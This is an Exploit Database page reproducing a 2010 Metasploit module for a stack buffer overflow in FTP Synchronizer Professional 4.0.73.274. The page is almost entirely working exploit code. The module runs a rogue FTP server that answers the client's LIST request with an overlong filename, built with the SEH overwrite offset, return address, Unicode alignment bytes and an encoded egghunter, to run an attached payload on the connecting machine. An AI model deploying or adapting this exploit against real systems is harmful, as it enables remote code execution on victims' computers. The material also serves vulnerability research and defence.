FTP Synchronizer Professional 4.0.73.274 – Remote Stack Buffer Overflow (Metasploit)

• Exploit Database
• 14 阅读

• 作者： Metasploit
  日期： 2010-11-14
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16720/

• ##
  # $Id: ftpsynch_list_reply.rb 11039 2010-11-14 19:03:24Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = GoodRanking
  
  	include Exploit::Remote::FtpServer
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'FTP Synchronizer Professional 4.0.73.274 Stack Buffer Overflow',
  			'Description'=> %q{
  					This module exploits a stack buffer overflow vulnerability in FTP Synchronizer Pro
  				version 4.0.73.274 The overflow gets triggered by sending an overly long filename to
  				the client in response to a LIST command.
  				The LIST command gets issued when doing a preview or when you have just created a new
  				sync profile and allow the tool to see the differences.
  				This will overwrite a structured exception handler and trigger an access violation.
  			},
  			'Author' 	 =>
  				[
  					'myne-us',	#found the bug
  					'corelanc0d3r'	#wrote the exploit
  				],
  			'License'=> MSF_LICENSE,
  			'Version'=> "$Revision: 11039 $",
  			'References' =>
  				[
  					[ 'URL', 'http://www.corelan.be:8800/index.php/2010/10/12/death-of-an-ftp-client/' ],
  				],
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'thread',
  				},
  			'Payload'=>
  				{
  					'BadChars' => "\x00\x0a\x2f\x5c",
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					[ 'XP Universal', { 'Offset' => 854, 'Ret' => "\x2D\x78" } ], # p/p/r FTPSynchronizer.exe
  				],
  			'Privileged' => false,
  			'DisclosureDate' => 'Oct 12 2010',
  			'DefaultTarget'=> 0))
  	end
  
  	def setup
  		super
  	end
  
  	def on_client_unknown_command(c,cmd,arg)
  		c.put("200 OK\r\n")
  	end
  
  	def on_client_command_list(c,arg)
  		conn = establish_data_connection(c)
  		if(not conn)
  			c.put("425 Can't build data connection\r\n")
  			return
  		end
  		print_status(" - Data connection set up")
  		code = 150
  		c.put("#{code} Here comes the directory listing.\r\n")
  		code = 226
  		c.put("#{code} Directory send ok.\r\n")
  		totalsize = 4000
  		foldername = "A" *target['Offset']
  		nseh = "\x61\x42"
  		seh = "\x2D\x78"
  		sehpad = "\x44\x62"
  		align = "\x53\x62\x58\x62"
  		align << "\x40\x62"
  		align << "\x05\x11\x10\x62"
  		align << "\x2d\x10\x10\x62"
  		padding = ("\x42\x62" * 53) + ("\x48\x62")
  		#basereg EAX, Unicode encoded egghunter
  		hunter = "PPYAIAIAIAIAQATAXAZAPA3QADAZ"
  		hunter << "ABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAX"
  		hunter << "A58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABA"
  		hunter << "BAB30APB944JBQVE1HJKOLOPB0RBJLBQHHMNNOLM5PZ4"
  		hunter << "4JO7H2WP0P0T4TKZZFOSEZJ6OT5K7KO9WA"
  		buffer = foldername + nseh + seh + sehpad + align + padding + hunter
  		junk = "D" * (totalsize-buffer.length)
  		buffer << junk
  		print_status(" - Sending directory list via data connection")
  		dirlist ="drwxrwxrwx1 1000 11111 Jun 11 21:10 #{"w00tw00t"+payload.encoded}\r\n"
  		dirlist << "-rw-rw-r--1 1176 1176 1060 Aug 16 22:22 #{buffer}\r\n"
  		conn.put("total 2\r\n"+dirlist)
  		print_status(" - Payload sent, wait for hunter...")
  		conn.close
  		return
  	end
  
  end